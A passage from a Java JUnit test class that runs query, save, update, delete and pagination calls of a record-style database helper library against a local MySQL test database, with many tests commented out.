RecordUtil.init(main,dataSource);\n        RecordUtil.init(main,dataSource);\n\n    }\n\n    //@Before\n    @BeforeClass\n    public static void init() {\n        String url = \"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        RecordUtil.init(dataSource);\n    }\n\n    @Test\n    public void testqueryStr() throws Exception {\n        String sqlId = Db.use(main).queryStr(\"select sql_text from api_sql  limit 1 \");\n        StaticLog.info(JSONUtil.toJsonStr(sqlId));\n\n    }\n//    @Test\n//    public void testquerySqlXml() throws Exception {\n//        String sql = \" SELECT t.update_time, t.table_id, t.table_name, t.table_comment, t.sub_table_name, t.sub_table_fk_name, t.class_name, t.tpl_category, t.package_name, t.module_name, t.business_name, t.function_name, t.function_author, t.gen_type, t.gen_path, t.options, t.remark,\\n\" +\n//                \"\\t\\t\\t   c.column_id, c.column_name, c.column_comment, c.column_type, c.java_type, c.java_field, c.is_pk, c.is_increment, c.is_required, c.is_insert, c.is_edit, c.is_list, c.is_query, c.query_type, c.html_type, c.dict_type, c.sort\\n\" +\n//                \"\\t\\tFROM gen_table t\\n\" +\n//                \"\\t\\t\\t LEFT JOIN gen_table_column c ON t.table_id = c.table_id\\n\" +\n//                \"\\t\\twhere t.table_name = #{tableName} order by c.sort \";\n//        List<Map<String, Object>> result = Db.use(main).querySqlXml(sql,MapUtil.of(\"tableName\",\"biz_test\"));\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//        List<Record> records  = RecordUtil.mappingList(result);\n//        StaticLog.info(JSONUtil.toJsonStr(records));\n//    }\n\n    /*@Test\n    public void testfindByColumnValueRecords() throws Exception {\n        List<Record> result = Db.use(main).findByColumnValueRecords(\"api_sql\",\"group\",\"default\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }*/\n//    @Test\n//    public void testfindByColumnValueBeans() throws Exception {\n//        List<ApiSql> result = Db.use(main).findByColumnValueBeans(ApiSql.class,\"group,sql_id\",\"default\",\"queryTest45765727\");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n//    @Test\n//    public void testfindByWhereSqlForBean() throws Exception {\n//        List<ApiSql> result = Db.use(main).findByWhereSqlForBean(ApiSql.class,\"`group`=? and `sql_id`=? \",\"default\",\"queryTest45765727\");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n    @Test\n    public void testFindById() throws Exception {\n        Record result = Db.use(main).findById(\"biz_test\", \"11\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testFindBySql() throws Exception {\n        List<Record> result = Db.use(main).find(\" select * from api_sql \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n    @Test\n    public void testFindBySql2() throws Exception {\n        List<Record> result = Db.use(main).find(\" select * from api_sql where id = ? \",new Object[]{1});\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testFindByIds() throws Exception {\n        Record result1 = Db.use(main).findByIds(\"api_sql\", \"id,sql_id\",\"1\",1);\n        Record result = Db.use(main).findByIds(\"api_sql\", \"id,sql_id\", \"2\",\"getBizTests\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testDeleteById() throws Exception {\n        Boolean result = Db.use(main).deleteById(\"biz_test\", \"1111\");\n        StaticLog.info(String.valueOf(result));\n    }\n\n    @Test\n    public void testDeleteByIds() throws Exception {\n        Boolean result = Db.use(main).deleteById(\"api_sql\", \"sql_id\",\"getBizTests111\");\n        StaticLog.info(String.valueOf(result));\n    }\n\n    @Test\n    public void testFind2() throws Exception {\n        List<Record> result = Db.use(main).find(\" select * from api_sql where 1=1 and sql_id = ?\", \"getBizTests\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testPaginate() throws Exception {\n        Page<Record> result = Db.use(main).paginate(Integer.valueOf(1), Integer.valueOf(10), \" select * \", \" from api_sql where 1=1 \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n    @Test\n    public void testPaginate2() throws Exception {\n        Page<Record> result = Db.use(main).paginate(Integer.valueOf(1), Integer.valueOf(10), \" select * \", \" from api_sql where 1=1  \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n\n    @Test\n    public void testSave() throws Exception {\n        Record record = new Record();\n        record.set(\"sql_id\", \"queryTest\"+RandomUtil.randomInt());\n        record.set(\"id\", RandomUtil.randomInt());\n        record.set(\"sql_text\", \"select * from biz_test\");\n        record.set(\"group\", \"default\");\n        boolean result = Db.use(main).save(\"api_sql\", record);\n        StaticLog.info(String.valueOf(result));\n    }\n\n    @Test\n    public void testUpdate() throws Exception {\n        Record record = new Record();\n        record.set(\"sql_id\", \"queryTest-153736241\");\n        record.set(\"id\", 1243333560);\n        record.set(\"sql_text\", \"select * from biz_test\");\n        record.set(\"group\", \"default\");\n        boolean result = Db.use(main).update(\"api_sql\", record);\n        StaticLog.info(String.valueOf(result));\n    }\n\n\n    @Test\n    public void testQuery() throws Exception {\n        List result = Db.use(main).find(\" select * from api_sql where sql_id = ?\", \"queryTest\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testQuery2() throws Exception {\n        List result = Db.use(main).query(\" select * from api_sql where sql_id ='queryTest' \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n\n    @Test\n    public void testDeleteById2() throws Exception {\n        boolean result = Db.use(main).deleteById(\"api_sql\", \"sql_id\",\"queryTest-1242227800\");\n        StaticLog.info(String.valueOf(result));\n    }\n\n\n\n\n\n//    @Test\n//    public void findEntityList() throws Exception {\n//        List<ApiSql> result = Db.use(main).findBeanList(ApiSql.class,\" select * from api_sql \");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n\n//    @Test\n//    public void testSaveBackId() throws Exception {\n//        ApiSql sql = new ApiSql();\n//        sql.setSqlId(\"test1\"+RandomUtil.randomNumbers(9));\n//        sql.setSqlText(\"select * from test1\");\n//        sql.setGroup(\"test11\");\n//        Integer result = Db.use(main).saveBeanBackPrimaryKey(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n//    @Test\n//    public void testSave2() throws Exception {\n//        ApiSqlMybatis sql = new ApiSqlMybatis();\n//        sql.setSqlId(\"test1\"+RandomUtil.randomNumbers(9));\n//        sql.setSqlTextq(\"select * from test1\");\n//        sql.setGroup(\"test11\");\n//        Integer result = Db.use(main).saveBean(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n//    @Test\n//    public void testUpdate3() throws Exception {\n//        ApiSqlMybatis sql = new ApiSqlMybatis();\n//        sql.setSqlId(\"test1449740241\");\n//        sql.setSqlTextq(\"select * from test1\");\n//        sql.setGroup(\"test11\");\n//        sql.setId(1243333565);\n//        Integer result = Db.use(main).updateBean(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n\n//    @Test\n//    public void testDelete3() throws Exception {\n//        ApiSqlMybatis sql = new ApiSqlMybatis();\n//        sql.setSqlId(\"test1449740241\");\n////        sql.setSqlText(\"select * from test1\");\n////        sql.setGroup(\"test11\");\n//        sql.setId(1243333565);\n//        Integer result = Db.use(main).deleteBean(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n\n//    @Test\n//    public void testGetById() throws Exception {\n//        ApiSql result = (ApiSql) Db.use(main).findBeanByIds(ApiSql.class,\"id,sql_id\",1243333563,\"test1622823114\");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n    @Test\n    public void testGetByParams() throws Exception {\n//        ApiSql result = (ApiSql) Db.use(main).findBeanById(ApiSql.class,1243333563/*,\"test1622823114\"*/);\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n//    @Test\n//    public void testQueryAll() throws Exception {\n//        List result = Db.use(main).find(SqlUtil.getSelect(ApiSql.class).getSql());\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n\n    @Test\n    public void testCount() throws Exception {\n        Integer result = Db.use(main).queryInt(\" select count(1) from api_sql \");\n        StaticLog.info(String.valueOf(result));\n    }\n//    @Test\n//    public void testCoun11t() throws Exception {\n//        List<ApiSql> apiSqls = Db.use(main).findBeanList(ApiSql.class,\" select * from api_sql \");\n//        System.out.println(JSONUtil.toJsonStr(apiSqls));\n//    }\n\n\n//    @Test\n//    public void testQueryPage() throws Exception {\n//        Page result = Db.use(main).findBeanPages(ApiSql.class, 1, 10);\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n//    @Test\n//    public void testQueryPage2() throws Exception {\n//        Page result = Db.use(main).findBeanPages(ApiSql.class, 1, 10, Maps.newHashMap());\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n//    @Test\n//    public void testQueryPage2111() throws Exception {\n////        Db.use(main).findBeanPages()\n//    }\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n   /* @Test\n    public void testGetPkNames() throws Exception {\n        String result = Db.use(main).getPkNames(\"c_user\");\n        StaticLog.info(result);\n    }*/\n\n\n\n    @Test\n    public void testQueryList() throws Exception {\n        List<Map<String, Object>> datas = Db.use(main).query(\" select * from c_user \");\n        System.out.println(JSONUtil.toJsonPrettyStr(datas));\n\n    }\n\n    @Test\n    public void testQueryList2() throws Exception {\n//        List<Map<String, Object>> datas = Db.use(main).queryList(\" select * from c_user  where id_ = ? \",new Object[]{\"-8599623109329969322\"});\n//        System.out.println(JSONUtil.toJsonPrettyStr(datas));\n//\n//        Map<String, Object> result1 = Db.use(main).queryForMap(\" select * from c_user   where id_=? \", new Object[]{-8599623109329969322L});\n//        System.out.println(JSONUtil.toJsonPrettyStr(result1));\n//\n//        int result2 = Db.use(main).queryForInt(\" select count(1) from c_user \", null);\n//        System.out.println( result2 );\n//\n//        long result3 = Db.use(main).queryForLong(\" select id_ from c_user limit 1 \", null);\n//        System.out.println( result3 );\n//\n//        User result4 = Db.use(main).queryForObject(\" select * from c_user  where id_=? \", new Object[]{-8599623109329969322L}, User.class);\n//        System.out.println(JSONUtil.toJsonPrettyStr(result4));\n//\n//        String result5 =  Db.use(main).queryForString(\" select mobile_ from c_user  where id_=? \", new Object[]{-8599623109329969322L});\n//        System.out.println( result5 );\n\n//        List data1 =  Db.use(main).queryList(\"select * from c_user \");\n//        Page<Map> data111 =  Db.use(main).queryMapPages(\"select * from c_user \",1,10,null);\n//        System.out.println( JSONUtil.toJsonPrettyStr(data111) );\n        //Page<User> data1112 =  Db.use(main).queryBeanPage(User.class,1,10,\"select * from c_user \");\n        //System.out.println( JSONUtil.toJsonPrettyStr(data1112) );\n    }\n\n\n    @Test\n    public void testSave11() throws Exception {\n        Record record = new Record();\n        record.set(\"id_\", RandomUtil.randomInt());\n        record.set(\"mobile_\",\"321432\");\n        record.set(\"password_\",\"31532-9999\");\n//         Db.use(main).save(\"c_user\",record);\n//        record.set(\"id_\", RandomUtil.randomInt());\n//         Db.use(main).save(\"c_user\",\"_id\",record);\n        record.set(\"id_\", RandomUtil.randomInt());\n        //Object obj = RecordUtil.recordToBean(record,User.class);\n        //Db.use(main).saveBean(obj);\n        Db.use(main).update(\" INSERT INTO c_user(`id_`,`mobile_`,`password_`) VALUES (?,?,?) \",new Object[]{RandomUtil.randomInt(),\"abc-555\",\"abc\"});\n    }\n    @Test\n    public void testUpdate11() throws Exception {\n        Record record = new Record();\n        record.set(\"id_\", RandomUtil.randomInt());\n        record.set(\"mobile_\",\"321432\");\n        record.set(\"password_\",\"31532-9999\");\n        //Db.use(main).update(\"c_user\",record);\n        Db.use(main).update(\"c_user\",\"id_\",record);\n        //Object obj = RecordUtil.recordToBean(record,User.class);\n        // Db.use(main).updateBean(obj);\n        Db.use(main).update(\" UPDATE c_user SET `mobile_`=?,`password_`=? WHERE `id_`=? \",new Object[]{\"abc-555\",\"abc\",\"6\"});\n    }\n\n\n    @Test\n    public void testDelete11() throws Exception {\n        Record record = new Record();\n        record.set(\"id_\", RandomUtil.randomInt());\n        record.set(\"mobile_\",\"321432\");\n        record.set(\"password_\",\"31532-9999\");\n//         Db.use(main).delete(\"c_user\",record);\n//        Db.use(main).delete(\"c_user\",\"id_\",record);\n//        Db.use(main).execute(\" delete from c_user where id_ = 1\",null);\n//        Object obj = RecordUtil.recordToBean(record,User.class);\n//        Db.use(main).deleteBean(obj);\n\n        //Db.use(main).deleteById(\"c_user\",66666);\n        Db.use(main).deleteById(\"c_user\",\"id_\",66666);\n        Db.use(main).deleteById(\"c_user\",\"id_\",6666);\n    }\n\n\n\n\n    @Test\n    public void testFind11() throws Exception {\n//        List<Record>  data1 = Db.use(main).find(\"select * from c_user\");\n//        System.out.println(data1.size());\n//\n//        List<Record>  data2 = Db.use(main).find(\"select * from c_user where id_=? \",2);\n//        System.out.println(data2.size());\n//\n//        List<Record>  data3 = Db.use(main).findAll(\"c_user\");\n//        System.out.println(data3.size());\n\n//        List<User>  data4 = Db.use(main).findBeanList(User.class,\"select * from c_user\");\n//        System.out.println(data4.size());\n//\n//        List<User>  data5 = Db.use(main).findBeanList(User.class,\"select * from c_user where id_=? \",2);\n//        System.out.println(data5.size());\n\n//        List<Record>  data6 = Db.use(main).findByColumnValueRecords(\"c_user\",\"id_\",2);\n//        System.out.println(data6.size());\n\n//        Record record1 = Db.use(main).findFirst(\"select * from c_user\");\n//        System.out.println(record1);\n\n//        Record record11 = Db.use(main).findById(\"c_user\",2);\n//        System.out.println(JSONUtil.toJsonPrettyStr(record11));\n\n//        Record record112 = Db.use(main).findById(\"c_user\",\"id_\",2);\n//        System.out.println(JSONUtil.toJsonPrettyStr(record112));\n\n        //User record11233 = Db.use(main).findBeanById(User.class,2);\n//        User record11233 = Db.use(main).findBeanById(User.class,\"id_\",2);\n//        System.out.println(JSONUtil.toJsonPrettyStr(record11233));\n\n//        Page<User> record1123344 = Db.use(main).findBeanPages(User.class,1,10);\n\n//        Page<User> record112334455 = Db.use(main).findBeanPages(User.class,1,10,\" select * from c_user where id_<>2 \");\n//        System.out.println(JSONUtil.toJsonPrettyStr(record112334455));\n\n    }\n\n\n\n//\n//    @Test\n//    public void testQueryForDate() throws Exception {\n//        Date result = Db.use(main).queryForDate(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(new GregorianCalendar(2025, Calendar.FEBRUARY, 20, 11, 27).getTime(), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList() throws Exception {\n//        List<String> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, \"keyName\");\n//        Assert.assertEquals(Arrays.<String>asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList2() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList3() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, 0);\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList4() throws Exception {\n//        List<T> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, null);\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testQueryForList5() throws Exception {\n//        List<T> result = Db.use(main).queryForList(\"sql\", new Object[]{\"objects\"}, null);\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testExecute() throws Exception {\n//        int result = Db.use(main).execute(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testInsert() throws Exception {\n//        long result = Db.use(main).insert(\"sql\", new Object[]{\"objects\"});\n//        Assert.assertEquals(0L, result);\n//    }\n//\n//    @Test\n//    public void testBatchExecute() throws Exception {\n//        int result = Db.use(main).batchExecute(\"sql\", Arrays.<Object>asList(new Object[]{\"objectsList\"}));\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testDoInTransaction() throws Exception {\n//        int result = Db.use(main).doInTransaction(new BatchSql());\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testReplaceSqlCount() throws Exception {\n//        String result = Db.use(main).replaceSqlCount(\"sql\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testReplaceSqlOrder() throws Exception {\n//        String result = Db.use(main).replaceSqlOrder(\"sql\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testGetForList() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).getForList(\"sql\", Arrays.<String>asList(\"String\"), 0, 0);\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testGetCharCnt() throws Exception {\n//        int result = Db.use(main).getCharCnt(\"sql\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testGetTotalRows() throws Exception {\n//        long result = Db.use(main).getTotalRows(\"sql\", Arrays.<String>asList(\"String\"));\n//        Assert.assertEquals(0L, result);\n//    }\n//\n//    @Test\n//    public void testDeleteById() throws Exception {\n//        when(dialect.forDbDeleteById(anyString(), anyString())).thenReturn(\"forDbDeleteByIdResponse\");\n//\n//        Boolean result = Db.use(main).deleteById(\"tableName\", \"idValues\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testDeleteBySql() throws Exception {\n//        Boolean result = Db.use(main).deleteBySql(\"sql\", \"paras\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testDeleteBySql2() throws Exception {\n//        Boolean result = Db.use(main).deleteBySql(\"sql\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testFindBeanList() throws Exception {\n//        List<T> result = Db.use(main).findBeanList(null, \"sql\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanList2() throws Exception {\n//        List result = Db.use(main).findBeanList(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"sql\", \"params\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindMapList() throws Exception {\n//        List result = Db.use(main).findMapList(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"sql\", \"params\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindRecordList() throws Exception {\n//        List result = Db.use(main).findRecordList(\"sql\", \"params\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanById() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        T result = Db.use(main).findBeanById(null, \"idValue\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanByIds() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        T result = Db.use(main).findBeanByIds(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"primaryKeys\", \"idValue\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanPages() throws Exception {\n//        Page result = Db.use(main).findBeanPages(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0);\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testFindBeanPages2() throws Exception {\n//        Page result = Db.use(main).findBeanPages(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0, new HashMap<String, Object>() {{\n//            put(\"String\", \"params\");\n//        }});\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBeanPage() throws Exception {\n//        Page result = Db.use(main).queryBeanPage(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0);\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBeanPage2() throws Exception {\n//        Page result = Db.use(main).queryBeanPage(Class.forName(\"io.github.wujun728.db.record.DbPro\"), 0, 0, new HashMap<String, Object>() {{\n//            put(\"String\", \"params\");\n//        }});\n//        Assert.assertEquals(new Page(Arrays.asList(\"String\"), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryMapPages() throws Exception {\n//        Page<Map> result = Db.use(main).queryMapPages(\"sql\", 0, 0, new Object[]{\"params\"});\n//        Assert.assertEquals(new Page<Map>(Arrays.<Map>asList(new HashMap() {{\n//            put(\"String\", \"String\");\n//        }}), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testCount() throws Exception {\n//        int result = Db.use(main).count(\"sql\", \"params\");\n//        Assert.assertEquals(0, result);\n//    }\n//\n//    @Test\n//    public void testFindRecordById() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        Record result = Db.use(main).findRecordById(\"tableName\", \"id\");\n//        Assert.assertEquals(new Record(), result);\n//    }\n//\n//    @Test\n//    public void testFindByColumnValueRecords() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        List<Record> result = Db.use(main).findByColumnValueRecords(\"tableName\", \"columnNames\", \"columnValues\");\n//        Assert.assertEquals(Arrays.<Record>asList(new Record()), result);\n//    }\n//\n//    @Test\n//    public void testFindByColumnValueBeans() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        List result = Db.use(main).findByColumnValueBeans(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"columnNames\", \"columnValues\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testFindByWhereSqlForBean() throws Exception {\n//        when(dialect.forDbFindById(anyString(), anyString())).thenReturn(\"forDbFindByIdResponse\");\n//\n//        List result = Db.use(main).findByWhereSqlForBean(Class.forName(\"io.github.wujun728.db.record.DbPro\"), \"whereSql\", \"columnValues\");\n//        Assert.assertEquals(Arrays.asList(\"String\"), result);\n//    }\n//\n//    @Test\n//    public void testPaginate() throws Exception {\n//        Page<Record> result = Db.use(main).paginate(Integer.valueOf(0), Integer.valueOf(0), \"select\", \"from\");\n//        Assert.assertEquals(new Page<Record>(Arrays.<Record>asList(new Record()), 0, 0, 0, 0), result);\n//    }\n//\n//    @Test\n//    public void testQueryMaps() throws Exception {\n//        List<Map<String, Object>> result = Db.use(main).queryMaps(\"sql\", \"paras\");\n//        Assert.assertEquals(Arrays.<Map<String, Object>>asList(new HashMap<String, Object>() {{\n//            put(\"String\", \"Map\");\n//        }}), result);\n//    }\n//\n//    @Test\n//    public void testQuery() throws Exception {\n//        List<T> result = Db.use(main).query(\"sql\", \"paras\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testQuery2() throws Exception {\n//        List<T> result = Db.use(main).query(\"sql\");\n//        Assert.assertEquals(Arrays.<T>asList(new T()), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirst() throws Exception {\n//        T result = Db.use(main).queryFirst(\"sql\", \"paras\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirstMap() throws Exception {\n//        T result = Db.use(main).queryFirstMap(\"sql\", \"paras\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirst2() throws Exception {\n//        T result = Db.use(main).queryFirst(\"sql\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryFirstMap2() throws Exception {\n//        T result = Db.use(main).queryFirstMap(\"sql\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryColumn() throws Exception {\n//        T result = Db.use(main).queryColumn(\"sql\", \"paras\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryColumn2() throws Exception {\n//        T result = Db.use(main).queryColumn(\"sql\");\n//        Assert.assertEquals(new T(), result);\n//    }\n//\n//    @Test\n//    public void testQueryStr() throws Exception {\n//        String result = Db.use(main).queryStr(\"sql\", \"paras\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testQueryStr2() throws Exception {\n//        String result = Db.use(main).queryStr(\"sql\");\n//        Assert.assertEquals(\"replaceMeWithExpectedResult\", result);\n//    }\n//\n//    @Test\n//    public void testQueryInt() throws Exception {\n//        Integer result = Db.use(main).queryInt(\"sql\", \"paras\");\n//        Assert.assertEquals(Integer.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryInt2() throws Exception {\n//        Integer result = Db.use(main).queryInt(\"sql\");\n//        Assert.assertEquals(Integer.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryLong() throws Exception {\n//        Long result = Db.use(main).queryLong(\"sql\", \"paras\");\n//        Assert.assertEquals(Long.valueOf(1), result);\n//    }\n//\n//    @Test\n//    public void testQueryLong2() throws Exception {\n//        Long result = Db.use(main).queryLong(\"sql\");\n//        Assert.assertEquals(Long.valueOf(1), result);\n//    }\n//\n//    @Test\n//    public void testQueryDouble() throws Exception {\n//        Double result = Db.use(main).queryDouble(\"sql\", \"paras\");\n//        Assert.assertEquals(Double.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryDouble2() throws Exception {\n//        Double result = Db.use(main).queryDouble(\"sql\");\n//        Assert.assertEquals(Double.valueOf(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryFloat() throws Exception {\n//        Float result = Db.use(main).queryFloat(\"sql\", \"paras\");\n//        Assert.assertEquals(Float.valueOf(1.1f), result);\n//    }\n//\n//    @Test\n//    public void testQueryFloat2() throws Exception {\n//        Float result = Db.use(main).queryFloat(\"sql\");\n//        Assert.assertEquals(Float.valueOf(1.1f), result);\n//    }\n//\n//    @Test\n//    public void testQueryBigDecimal() throws Exception {\n//        BigDecimal result = Db.use(main).queryBigDecimal(\"sql\", \"paras\");\n//        Assert.assertEquals(new BigDecimal(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBigDecimal2() throws Exception {\n//        BigDecimal result = Db.use(main).queryBigDecimal(\"sql\");\n//        Assert.assertEquals(new BigDecimal(0), result);\n//    }\n//\n//    @Test\n//    public void testQueryBigInteger() throws Exception {\n//        BigInteger result = Db.use(main).queryBigInteger(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryBigInteger2() throws Exception {\n//        BigInteger result = Db.use(main).queryBigInteger(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryBytes() throws Exception {\n//        byte[] result = Db.use(main).queryBytes(\"sql\", \"paras\");\n//        Assert.assertArrayEquals(new byte[]{(byte) 0}, result);\n//    }\n//\n//    @Test\n//    public void testQueryBytes2() throws Exception {\n//        byte[] result = Db.use(main).queryBytes(\"sql\");\n//        Assert.assertArrayEquals(new byte[]{(byte) 0}, result);\n//    }\n//\n//    @Test\n//    public void testQueryDate() throws Exception {\n//        Date result = Db.use(main).queryDate(\"sql\", \"paras\");\n//        Assert.assertEquals(new GregorianCalendar(2025, Calendar.FEBRUARY, 20, 11, 27).getTime(), result);\n//    }\n//\n//    @Test\n//    public void testQueryDate2() throws Exception {\n//        Date result = Db.use(main).queryDate(\"sql\");\n//        Assert.assertEquals(new GregorianCalendar(2025, Calendar.FEBRUARY, 20, 11, 27).getTime(), result);\n//    }\n//\n//    @Test\n//    public void testQueryLocalDateTime() throws Exception {\n//        LocalDateTime result = Db.use(main).queryLocalDateTime(\"sql\", \"paras\");\n//        Assert.assertEquals(LocalDateTime.of(2025, Month.FEBRUARY, 20, 11, 27, 3), result);\n//    }\n//\n//    @Test\n//    public void testQueryLocalDateTime2() throws Exception {\n//        LocalDateTime result = Db.use(main).queryLocalDateTime(\"sql\");\n//        Assert.assertEquals(LocalDateTime.of(2025, Month.FEBRUARY, 20, 11, 27, 3), result);\n//    }\n//\n//    @Test\n//    public void testQueryTime() throws Exception {\n//        Time result = Db.use(main).queryTime(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryTime2() throws Exception {\n//        Time result = Db.use(main).queryTime(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryTimestamp() throws Exception {\n//        Timestamp result = Db.use(main).queryTimestamp(\"sql\", \"paras\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryTimestamp2() throws Exception {\n//        Timestamp result = Db.use(main).queryTimestamp(\"sql\");\n//        Assert.assertEquals(null, result);\n//    }\n//\n//    @Test\n//    public void testQueryBoolean() throws Exception {\n//        Boolean result = Db.use(main).queryBoolean(\"sql\", \"paras\");\n//        Assert.assertEquals(Boolean.TRUE, result);\n//    }\n//\n//    @Test\n//    public void testQueryBoolean2() throws Exception {\n//        Boolean 